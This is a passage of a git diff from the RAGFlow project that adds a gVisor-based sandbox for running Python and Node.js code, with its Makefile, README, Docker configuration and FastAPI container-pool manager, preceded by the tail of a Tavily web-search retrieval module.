self.tavily_client.search( + query=query, + search_depth="advanced", + max_results=6 + ) + return [{"url": res["url"], "title": res["title"], "content": res["content"], "score": res["score"]} for res in response["results"]] + except Exception as e: + logging.exception(e) + + return [] + + def retrieve_chunks(self, question): + chunks = [] + aggs = [] + logging.info("[Tavily]Q: " + question) + for r in self.search(question): + id = get_uuid() + chunks.append({ + "chunk_id": id, + "content_ltks": rag_tokenizer.tokenize(r["content"]), + "content_with_weight": r["content"], + "doc_id": id, + "docnm_kwd": r["title"], + "kb_id": [], + "important_kwd": [], + "image_id": "", + "similarity": r["score"], + "vector_similarity": 1., + "term_similarity": 0, + "vector": [], + "positions": [], + "url": r["url"] + }) + aggs.append({ + "doc_name": r["title"], + "doc_id": id, + "count": 1, + "url": r["url"] + }) + logging.info("[Tavily]R: "+r["content"][:128]+"...") + return {"chunks": chunks, "doc_aggs": aggs} \ No newline at end of file diff --git a/sandbox/.env.example b/sandbox/.env.example new file mode 100644 index 0000000..e88ed56 --- /dev/null +++ b/sandbox/.env.example @@ -0,0 +1,9 @@ +# Copy this file to `.env` and modify as needed + +SANDBOX_EXECUTOR_MANAGER_POOL_SIZE=5 +SANDBOX_BASE_PYTHON_IMAGE=sandbox-base-python:latest +SANDBOX_BASE_NODEJS_IMAGE=sandbox-base-nodejs:latest +SANDBOX_EXECUTOR_MANAGER_PORT=9385 +SANDBOX_ENABLE_SECCOMP=false +SANDBOX_MAX_MEMORY=256m # b, k, m, g +SANDBOX_TIMEOUT=10s # s, m, 1m30s diff --git a/sandbox/Makefile b/sandbox/Makefile new file mode 100644 index 0000000..da07da2 --- /dev/null +++ b/sandbox/Makefile @@ -0,0 +1,115 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Force using Bash to ensure the source command is available +SHELL := /bin/bash + +# Environment variable definitions +VENV := .venv +PYTHON := $(VENV)/bin/python +UV := uv +ACTIVATE_SCRIPT := $(VENV)/bin/activate +SYS_PYTHON := python3 +PYTHONPATH := $(shell pwd) + +.PHONY: all setup ensure_env ensure_uv start stop restart build clean test logs + +all: setup start + +# 🌱 Initialize environment + install dependencies +setup: ensure_env ensure_uv + @echo "📦 Installing dependencies with uv..." + @$(UV) sync --python 3.11 + source $(ACTIVATE_SCRIPT) && \ + export PYTHONPATH=$(PYTHONPATH) + @$(UV) pip install -r executor_manager/requirements.txt + @echo "✅ Setup complete." + +# 🔑 Ensure .env exists (copy from .env.example on first run) +ensure_env: + @if [ ! -f ".env" ]; then \ + if [ -f ".env.example" ]; then \ + echo "📝 Creating .env from .env.example..."; \ + cp .env.example .env; \ + else \ + echo "⚠️ Warning: .env.example not found, creating empty .env"; \ + touch .env; \ + fi; \ + else \ + echo "✅ .env already exists."; \ + fi + +# 🔧 Ensure uv is executable (install using system Python) +ensure_uv: + @if ! command -v $(UV) >/dev/null 2>&1; then \ + echo "🛠️ Installing uv using system Python..."; \ + $(SYS_PYTHON) -m pip install -q --upgrade pip; \ + $(SYS_PYTHON) -m pip install -q uv || (echo "⚠️ uv install failed, check manually" && exit 1); \ + fi + +# 🐳 Service control (using safer variable loading) +start: + @echo "🚀 Starting services..." + source $(ACTIVATE_SCRIPT) && \ + export PYTHONPATH=$(PYTHONPATH) && \ + [ -f .env ] && source .env || true && \ + bash scripts/start.sh + +stop: + @echo "🛑 Stopping services..." + source $(ACTIVATE_SCRIPT) && \ + bash scripts/stop.sh + +restart: stop start + @echo "🔁 Restarting services..." + +build: + @echo "🔧 Building base sandbox images..." + @if [ -f .env ]; then \ + source .env && \ + echo "🐍 Building base sandbox image for Python ($$SANDBOX_BASE_PYTHON_IMAGE)..." && \ + docker build -t "$$SANDBOX_BASE_PYTHON_IMAGE" ./sandbox_base_image/python && \ + echo "⬢ Building base sandbox image for Nodejs ($$SANDBOX_BASE_NODEJS_IMAGE)..." && \ + docker build -t "$$SANDBOX_BASE_NODEJS_IMAGE" ./sandbox_base_image/nodejs; \ + else \ + echo "⚠️ .env file not found, skipping build."; \ + fi + +test: + @echo "🧪 Running sandbox security tests..." + source $(ACTIVATE_SCRIPT) && \ + export PYTHONPATH=$(PYTHONPATH) && \ + $(PYTHON) tests/sandbox_security_tests_full.py + +logs: + @echo "📋 Showing logs from api-server and executor-manager..." + docker compose logs -f + +# 🧹 Clean all containers and volumes +clean: + @echo "🧹 Cleaning all containers and volumes..." + @docker compose down -v || true + @if [ -f .env ]; then \ + source .env && \ + for i in $$(seq 0 $$((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1))); do \ + echo "🧹 Deleting sandbox_python_$$i..." && \ + docker rm -f sandbox_python_$$i 2>/dev/null || true && \ + echo "🧹 Deleting sandbox_nodejs_$$i..." && \ + docker rm -f sandbox_nodejs_$$i 2>/dev/null || true; \ + done; \ + else \ + echo "⚠️ .env not found, skipping container cleanup"; \ + fi diff --git a/sandbox/README.md b/sandbox/README.md new file mode 100644 index 0000000..6384e70 --- /dev/null +++ b/sandbox/README.md @@ -0,0 +1,327 @@ +# RAGFlow Sandbox + +A secure, pluggable code execution backend for RAGFlow and beyond. + +## 🔧 Features + +- ✅ **Seamless RAGFlow Integration** — Out-of-the-box compatibility with the `code` component. +- 🔐 **High Security** — Leverages [gVisor](https://gvisor.dev/) for syscall-level sandboxing. +- 🔧 **Customizable Sandboxing** — Easily modify `seccomp` settings as needed. +- 🧩 **Pluggable Runtime Support** — Easily extend to support any programming language. +- ⚙️ **Developer Friendly** — Get started with a single command using `Makefile`. + +## 🏗 Architecture + +<p align="center"> + <img src="asserts/code_executor_manager.svg" width="520" alt="Architecture Diagram"> +</p> + +## 🚀 Quick Start + +### 📋 Prerequisites + +#### Required + +- Linux distro compatible with gVisor +- [gVisor](https://gvisor.dev/docs/user_guide/install/) +- Docker >= `24.0.0` +- Docker Compose >= `v2.26.1` like [RAGFlow](https://github.com/infiniflow/ragflow) +- [uv](https://docs.astral.sh/uv/) as package and project manager + +#### Optional (Recommended) + +- [GNU Make](https://www.gnu.org/software/make/) for simplified CLI management + +--- + +### 🐳 Build Docker Base Images + +We use isolated base images for secure containerized execution: + +```bash +# Build base images manually +docker build -t sandbox-base-python:latest ./sandbox_base_image/python +docker build -t sandbox-base-nodejs:latest ./sandbox_base_image/nodejs + +# OR use Makefile +make build +``` + +Then, build the executor manager image: + +```bash +docker build -t sandbox-executor-manager:latest ./executor_manager +``` + +--- + +### 📦 Running with RAGFlow + +1. Ensure gVisor is correctly installed. +2. Configure your `.env` in `docker/.env`: + + - Uncomment sandbox-related variables. + - Enable sandbox profile at the bottom. +3. Add the following line to `/etc/hosts` as recommended: + + ```text + 127.0.0.1 sandbox-executor-manager + ``` + +4. Start RAGFlow service. + +--- + +### 🧭 Running Standalone + +#### Manual Setup + +1. Initialize environment: + + ```bash + cp .env.example .env + ``` + +2. Launch: + + ```bash + docker compose -f docker-compose.yml up + ``` + +3. Test: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + uv pip install -r executor_manager/requirements.txt + uv run tests/sandbox_security_tests_full.py + ``` + +#### With Make + +```bash +make # setup + build + launch + test +``` + +--- + +### 📈 Monitoring + +```bash +docker logs -f sandbox-executor-manager # Manual +make logs # With Make +``` + +--- + +### 🧰 Makefile Toolbox + +| Command | Description | +| ----------------- | ------------------------------------------------ | +| `make` | Setup, build, launch and test all at once | +| `make setup` | Initialize environment and install uv | +| `make ensure_env` | Auto-create `.env` if missing | +| `make ensure_uv` | Install `uv` package manager if missing | +| `make build` | Build all Docker base images | +| `make start` | Start services with safe env loading and testing | +| `make stop` | Gracefully stop all services | +| `make restart` | Shortcut for `stop` + `start` | +| `make test` | Run full test suite | +| `make logs` | Stream container logs | +| `make clean` | Stop and remove orphan containers and volumes | + +--- + +## 🔐 Security + +The RAGFlow sandbox is designed to balance security and usability, offering solid protection without compromising developer experience. + +### ✅ gVisor Isolation + +At its core, we use [gVisor](https://gvisor.dev/docs/architecture_guide/security/), a user-space kernel, to isolate code execution from the host system. gVisor intercepts and restricts syscalls, offering robust protection against container escapes and privilege escalations. + +### 🔒 Optional seccomp Support (Advanced) + +For users who need **zero-trust-level syscall control**, we support an additional `seccomp` profile. This feature restricts containers to only a predefined set of system calls, as specified in `executor_manager/seccomp-profile-default.json`. + +> ⚠️ This feature is **disabled by default** to maintain compatibility and usability. Enabling it may cause compatibility issues with some dependencies. + +#### To enable seccomp + +1. Edit your `.env` file: + + ```dotenv + SANDBOX_ENABLE_SECCOMP=true + ``` + +2. Customize allowed syscalls in: + + ``` + executor_manager/seccomp-profile-default.json + ``` + + This profile is passed to the container with: + + ```bash + --security-opt seccomp=/app/seccomp-profile-default.json + ``` + +### 🧠 Python Code AST Inspection + +In addition to sandboxing, Python code is **statically analyzed via AST (Abstract Syntax Tree)** before execution. Potentially malicious code (e.g. file operations, subprocess calls, etc.) is rejected early, providing an extra layer of protection. + +--- + +This security model strikes a balance between **robust isolation** and **developer usability**. While `seccomp` can be highly restrictive, our default setup aims to keep things usable for most developers — no obscure crashes or cryptic setup required. + +## 📦 Add Extra Dependencies for Supported Languages + +Currently, the following languages are officially supported: + +| Language | Priority | +| -------- | -------- | +| Python | High | +| Node.js | Medium | + +### 🐍 Python + +To add Python dependencies, simply edit the following file: + +```bash +sandbox_base_image/python/requirements.txt +``` + +Add any additional packages you need, one per line (just like a normal pip requirements file). + +### 🟨 Node.js + +To add Node.js dependencies: + +1. Navigate to the Node.js base image directory: + + ```bash + cd sandbox_base_image/nodejs + ``` + +2. Use `npm` to install the desired packages. For example: + + ```bash + npm install lodash + ``` + +3. The dependencies will be saved to `package.json` and `package-lock.json`, and included in the Docker image when rebuilt. + +--- + + +## Usage + +### 🐍 A Python example + +```python +def main(arg1: str, arg2: str) -> str: + return f"result: {arg1 + arg2}" +``` + +### 🟨 JavaScript examples + +A simple sync function + +```javascript +function main({arg1, arg2}) { + return arg1+arg2 +} +``` + +Async funcion with aioxs + +```javascript +const axios = require('axios'); +async function main() { + try { + const response = await axios.get('https://github.com/infiniflow/ragflow'); + return 'Body:' + response.data; + } catch (error) { + return 'Error:' + error.message; + } +} +``` + +--- + +## 📋 FAQ + +### ❓Sandbox Not Working? + +Follow this checklist to troubleshoot: + +- [ ] **Is your machine compatible with gVisor?** + + Ensure that your system supports gVisor. Refer to the [gVisor installation guide](https://gvisor.dev/docs/user_guide/install/). + +- [ ] **Is gVisor properly installed?** + + **Common error:** + + `HTTPConnectionPool(host='sandbox-executor-manager', port=9385): Read timed out.` + + Cause: `runsc` is an unknown or invalid Docker runtime. + **Fix:** + + - Install gVisor + + - Restart Docker + + - Test with: + + ```bash + docker run --rm --runtime=runsc hello-world + ``` + +- [ ] **Is `sandbox-executor-manager` mapped in `/etc/hosts`?** + + **Common error:** + + `HTTPConnectionPool(host='none', port=9385): Max retries exceeded.` + + **Fix:** + + Add the following entry to `/etc/hosts`: + + ```text + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +- [ ] **Have you enabled sandbox-related configurations in RAGFlow?** + + Double-check that all sandbox settings are correctly enabled in your RAGFlow configuration. + +- [ ] **Have you pulled the required base images for the runners?** + + **Common error:** + + `HTTPConnectionPool(host='sandbox-executor-manager', port=9385): Read timed out.` + + Cause: no runner was started. + + **Fix:** + + Pull the necessary base images: + + ```bash + docker pull infiniflow/sandbox-base-nodejs:latest + docker pull infiniflow/sandbox-base-python:latest + ``` + +- [ ] **Did you restart the service after making changes?** + + Any changes to configuration or environment require a full service restart to take effect. + + +### ❓Container pool is busy? + +All available runners are currently in use, executing tasks/running code. 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requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 78px; height: 1px; padding-top: 500px; margin-left: 539px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 13px; font-family: "Helvetica"; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><br /><div>...</div></div></div></div></foreignObject><text x="578" y="504" fill="light-dark(#000000, #ffffff)" font-family=""Helvetica"" font-size="13px" text-anchor="middle"> ...</text></switch></g></g></g><g data-cell-id="Mp0bcvQGua8Wo26LydRW-59"><g><rect x="333" y="550" width="80" height="30" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 565px; margin-left: 373px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 13px; font-family: "Helvetica"; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: nowrap; ">Clean up</div></div></div></foreignObject><text x="373" y="569" fill="light-dark(#000000, #ffffff)" font-family=""Helvetica"" font-size="13px" text-anchor="middle">Clean up</text></switch></g></g></g><g data-cell-id="Mp0bcvQGua8Wo26LydRW-60"><g><rect x="223" y="385" width="270" height="30" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 400px; margin-left: 358px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 13px; font-family: "Helvetica"; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: nowrap; ">Task orchestration and pool management...</div></div></div></foreignObject><text x="358" y="404" fill="light-dark(#000000, #ffffff)" font-family=""Helvetica"" font-size="13px" text-anchor="middle">Task orchestration and pool management...</text></switch></g></g></g></g></g></g><switch><g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/><a transform="translate(0,-5)" xlink:href="https://www.drawio.com/doc/faq/svg-export-text-problems" target="_blank"><text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot display</text></a></switch></svg> \ No newline at end of file diff --git a/sandbox/docker-compose.yml b/sandbox/docker-compose.yml new file mode 100644 index 0000000..71067f3 --- /dev/null +++ b/sandbox/docker-compose.yml @@ -0,0 +1,33 @@ +services: + sandbox-executor-manager: + container_name: sandbox-executor-manager + build: + context: ./executor_manager + dockerfile: Dockerfile + image: sandbox-executor-manager:latest + runtime: runc + privileged: true + ports: + - "${EXECUTOR_PORT:-9385}:9385" + volumes: + - /var/run/docker.sock:/var/run/docker.sock + networks: + - sandbox-network + restart: always + security_opt: + - no-new-privileges:true + environment: + - SANDBOX_EXECUTOR_MANAGER_POOL_SIZE=${SANDBOX_EXECUTOR_MANAGER_POOL_SIZE:-5} + - SANDBOX_BASE_PYTHON_IMAGE=${SANDBOX_BASE_PYTHON_IMAGE-sandbox-base-python:latest} + - SANDBOX_BASE_NODEJS_IMAGE=${SANDBOX_BASE_NODEJS_IMAGE-sandbox-base-nodejs:latest} + - SANDBOX_ENABLE_SECCOMP=${SANDBOX_ENABLE_SECCOMP:-false} + - SANDBOX_MAX_MEMORY=${SANDBOX_MAX_MEMORY:-256m} # b, k, m, g + - SANDBOX_TIMEOUT=${SANDBOX_TIMEOUT:-10s} # s, m, 1m30s + healthcheck: + test: ["CMD-SHELL", "curl --fail http://localhost:9385/healthz || exit 1"] + interval: 10s + timeout: 5s + retries: 5 +networks: + sandbox-network: + driver: bridge diff --git a/sandbox/executor_manager/Dockerfile b/sandbox/executor_manager/Dockerfile new file mode 100644 index 0000000..85f4f36 --- /dev/null +++ b/sandbox/executor_manager/Dockerfile @@ -0,0 +1,23 @@ +FROM python:3.11-slim-bookworm + +RUN grep -rl 'deb.debian.org' /etc/apt/ | xargs sed -i 's|http[s]*://deb.debian.org|https://mirrors.tuna.tsinghua.edu.cn|g' && \ + apt-get update && \ + apt-get install -y curl gcc && \ + rm -rf /var/lib/apt/lists/* + +RUN curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-24.0.7.tgz -o docker.tgz && \ + tar -xzf docker.tgz && \ + mv docker/docker /usr/bin/docker && \ + rm -rf docker docker.tgz + +COPY --from=ghcr.io/astral-sh/uv:0.7.5 /uv /uvx /bin/ +ENV UV_INDEX_URL=https://pypi.tuna.tsinghua.edu.cn/simple + + +WORKDIR /app +COPY . . + +RUN uv pip install --system -r requirements.txt + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "9385"] + diff --git a/sandbox/executor_manager/api/__init__.py b/sandbox/executor_manager/api/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/sandbox/executor_manager/api/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/sandbox/executor_manager/api/handlers.py b/sandbox/executor_manager/api/handlers.py new file mode 100644 index 0000000..9478a0b --- /dev/null +++ b/sandbox/executor_manager/api/handlers.py @@ -0,0 +1,49 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 + +from core.container import _CONTAINER_EXECUTION_SEMAPHORES +from core.logger import logger +from fastapi import Request +from models.enums import ResultStatus, SupportLanguage +from models.schemas import CodeExecutionRequest, CodeExecutionResult +from services.execution import execute_code +from services.limiter import limiter +from services.security import analyze_code_security + + +async def healthz_handler(): + return {"status": "ok"} + + +@limiter.limit("5/second") +async def run_code_handler(req: CodeExecutionRequest, request: Request): + logger.info("🟢 Received /run request") + + async with _CONTAINER_EXECUTION_SEMAPHORES[req.language]: + code = base64.b64decode(req.code_b64).decode("utf-8") + if req.language == SupportLanguage.NODEJS: + code += "\n\nmodule.exports = { main };" + req.code_b64 = base64.b64encode(code.encode("utf-8")).decode("utf-8") + is_safe, issues = analyze_code_security(code, language=req.language) + if not is_safe: + issue_details = "\n".join([f"Line {lineno}: {issue}" for issue, lineno in issues]) + return CodeExecutionResult(status=ResultStatus.PROGRAM_RUNNER_ERROR, stdout="", stderr=issue_details, exit_code=-999, detail="Code is unsafe") + + try: + return await execute_code(req) + except Exception as e: + return CodeExecutionResult(status=ResultStatus.PROGRAM_RUNNER_ERROR, stdout="", stderr=str(e), exit_code=-999, detail="unhandled_exception") diff --git a/sandbox/executor_manager/api/routes.py b/sandbox/executor_manager/api/routes.py new file mode 100644 index 0000000..3a338a6 --- /dev/null +++ b/sandbox/executor_manager/api/routes.py @@ -0,0 +1,24 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from fastapi import APIRouter + +from api.handlers import healthz_handler, run_code_handler + +router = APIRouter() + +router.get("/healthz")(healthz_handler) +router.post("/run")(run_code_handler) + diff --git a/sandbox/executor_manager/core/__init__.py b/sandbox/executor_manager/core/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/sandbox/executor_manager/core/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/sandbox/executor_manager/core/config.py b/sandbox/executor_manager/core/config.py new file mode 100644 index 0000000..332fdef --- /dev/null +++ b/sandbox/executor_manager/core/config.py @@ -0,0 +1,43 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +from contextlib import asynccontextmanager + +from fastapi import FastAPI +from util import format_timeout_duration, parse_timeout_duration + +from core.container import init_containers, teardown_containers +from core.logger import logger + +TIMEOUT = parse_timeout_duration(os.getenv("SANDBOX_TIMEOUT", "10s")) + + +@asynccontextmanager +async def _lifespan(app: FastAPI): + """Asynchronous lifecycle management""" + size = int(os.getenv("SANDBOX_EXECUTOR_MANAGER_POOL_SIZE", 1)) + + success_count, total_task_count = await init_containers(size) + logger.info(f"\n📊 Container pool initialization complete: {success_count}/{total_task_count} available") + + yield + + await teardown_containers() + + +def init(): + logger.info(f"Global timeout: {format_timeout_duration(TIMEOUT)}") + return _lifespan diff --git a/sandbox/executor_manager/core/container.py b/sandbox/executor_manager/core/container.py new file mode 100644 index 0000000..f953886 --- /dev/null +++ b/sandbox/executor_manager/core/container.py @@ -0,0 +1,191 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import asyncio +import contextlib +import os +from queue import Empty, Queue + +from models.enums import SupportLanguage +from util import env_setting_enabled, is_valid_memory_limit +from utils.common import async_run_command + +from core.logger import logger + +_CONTAINER_QUEUES: dict[SupportLanguage, Queue] = {} +_CONTAINER_LOCK: asyncio.Lock = asyncio.Lock() +_CONTAINER_EXECUTION_SEMAPHORES: dict[SupportLanguage, asyncio.Semaphore] = {} + + +async def init_containers(size: int) -> tuple[int, int]: + global _CONTAINER_QUEUES + _CONTAINER_QUEUES = {SupportLanguage.PYTHON: Queue(), SupportLanguage.NODEJS: Queue()} + + async with _CONTAINER_LOCK: + while not _CONTAINER_QUEUES[SupportLanguage.PYTHON].empty(): + _CONTAINER_QUEUES[SupportLanguage.PYTHON].get_nowait() + while not _CONTAINER_QUEUES[SupportLanguage.NODEJS].empty(): + _CONTAINER_QUEUES[SupportLanguage.NODEJS].get_nowait() + + for language in SupportLanguage: + _CONTAINER_EXECUTION_SEMAPHORES[language] = asyncio.Semaphore(size) + + create_tasks = [] + for i in range(size): + name = f"sandbox_python_{i}" + logger.info(f"🛠️ Creating Python container {i + 1}/{size}") + create_tasks.append(_prepare_container(name, SupportLanguage.PYTHON)) + + name = f"sandbox_nodejs_{i}" + logger.info(f"🛠️ Creating Node.js container {i + 1}/{size}") + create_tasks.append(_prepare_container(name, SupportLanguage.NODEJS)) + + results = await asyncio.gather(*create_tasks, return_exceptions=True) + success_count = sum(1 for r in results if r is True) + total_task_count = len(create_tasks) + return success_count, total_task_count + + +async def teardown_containers(): + async with _CONTAINER_LOCK: + while not _CONTAINER_QUEUES[SupportLanguage.PYTHON].empty(): + name = _CONTAINER_QUEUES[SupportLanguage.PYTHON].get_nowait() + await async_run_command("docker", "rm", "-f", name, timeout=5) + while not _CONTAINER_QUEUES[SupportLanguage.NODEJS].empty(): + name = _CONTAINER_QUEUES[SupportLanguage.NODEJS].get_nowait() + await async_run_command("docker", "rm", "-f", name, timeout=5) + + +async def _prepare_container(name: str, language: SupportLanguage) -> bool: + """Prepare a single container""" + with contextlib.suppress(Exception): + await async_run_command("docker", "rm", "-f", name, timeout=5) + + if await create_container(name, language): + _CONTAINER_QUEUES[language].put(name) + return True + return False + + +async def create_container(name: str, language: SupportLanguage) -> bool: + """Asynchronously create a container""" + create_args = [ + "docker", + "run", + "-d", + "--runtime=runsc", + "--name", + name, + "--read-only", + "--tmpfs", + "/workspace:rw,exec,size=100M,uid=65534,gid=65534", + "--tmpfs", + "/tmp:rw,exec,size=50M", + "--user", + "nobody", + "--workdir", + "/workspace", + ] + if os.getenv("SANDBOX_MAX_MEMORY"): + memory_limit = os.getenv("SANDBOX_MAX_MEMORY") or "256m" + if is_valid_memory_limit(memory_limit): + logger.info(f"SANDBOX_MAX_MEMORY: {os.getenv('SANDBOX_MAX_MEMORY')}") + else: + logger.info("Invalid SANDBOX_MAX_MEMORY, using default value: 256m") + memory_limit = "256m" + create_args.extend(["--memory", memory_limit]) + else: + logger.info("Set default SANDBOX_MAX_MEMORY: 256m") + create_args.extend(["--memory", "256m"]) + + if env_setting_enabled("SANDBOX_ENABLE_SECCOMP", "false"): + logger.info(f"SANDBOX_ENABLE_SECCOMP: {os.getenv('SANDBOX_ENABLE_SECCOMP')}") + create_args.extend(["--security-opt", "seccomp=/app/seccomp-profile-default.json"]) + + if language == SupportLanguage.PYTHON: + create_args.append(os.getenv("SANDBOX_BASE_PYTHON_IMAGE", "sandbox-base-python:latest")) + elif language == SupportLanguage.NODEJS: + create_args.append(os.getenv("SANDBOX_BASE_NODEJS_IMAGE", "sandbox-base-nodejs:latest")) + + logger.info(f"Sandbox config:\n\t {create_args}") + + try: + returncode, _, stderr = await async_run_command(*create_args, timeout=10) + if returncode != 0: + logger.error(f"❌ Container creation failed {name}: {stderr}") + return False + + if language == SupportLanguage.NODEJS: + copy_cmd = ["docker", "exec", name, "bash", "-c", "cp -a /app/node_modules /workspace/"] + returncode, _, stderr = await async_run_command(*copy_cmd, timeout=10) + if returncode != 0: + logger.error(f"❌ Failed to prepare dependencies for {name}: {stderr}") + return False + + return await container_is_running(name) + except Exception as e: + logger.error(f"❌ Container creation exception {name}: {str(e)}") + return False + + +async def recreate_container(name: str, language: SupportLanguage) -> bool: + """Asynchronously recreate a container""" + logger.info(f"🛠️ Recreating container: {name}") + try: + await async_run_command("docker", "rm", "-f", name, timeout=5) + + return await create_container(name, language) + except Exception as e: + logger.error(f"❌ Container {name} recreation failed: {str(e)}") + return False + + +async def release_container(name: str, language: SupportLanguage): + """Asynchronously release a container""" + async with _CONTAINER_LOCK: + if await container_is_running(name): + _CONTAINER_QUEUES[language].put(name) + logger.info(f"🟢 Released container: {name} (remaining available: {_CONTAINER_QUEUES[language].qsize()})") + else: + logger.warning(f"⚠️ Container {name} has crashed, attempting to recreate...") + if await recreate_container(name, language): + _CONTAINER_QUEUES[language].put(name) + logger.info(f"✅ Container {name} successfully recreated and returned to queue") + + +async def allocate_container_blocking(language: SupportLanguage, timeout=10) -> str: + """Asynchronously allocate an available container""" + start_time = asyncio.get_running_loop().time() + while asyncio.get_running_loop().time() - start_time < timeout: + try: + name = _CONTAINER_QUEUES[language].get_nowait() + async with _CONTAINER_LOCK: + if not await container_is_running(name) and not await recreate_container(name, language): + continue + + return name + except Empty: + await asyncio.sleep(0.1) + + return "" + + +async def container_is_running(name: str) -> bool: + """Asynchronously check the container status""" + try: + returncode, stdout, _ = await async_run_command("docker", "inspect", "-f", "{{.State.Running}}", name, timeout=2) + return returncode == 0 and stdout.strip() == "true" + except Exception: + return False diff --git a/sandbox/executor_manager/core/logger.py b/sandbox/executor_manager/core/logger.py new file mode 100644 index 0000000..c393129 --- /dev/null +++ b/sandbox/executor_manager/core/logger.py @@ -0,0 +1,19 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger("sandbox") diff --git a/sandbox/executor_manager/main.py b/sandbox/executor_manager/main.py new file mode 100644 index 0000000..ccad79b --- /dev/null +++ b/sandbox/executor_manager/main.py @@ -0,0 +1,25 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights 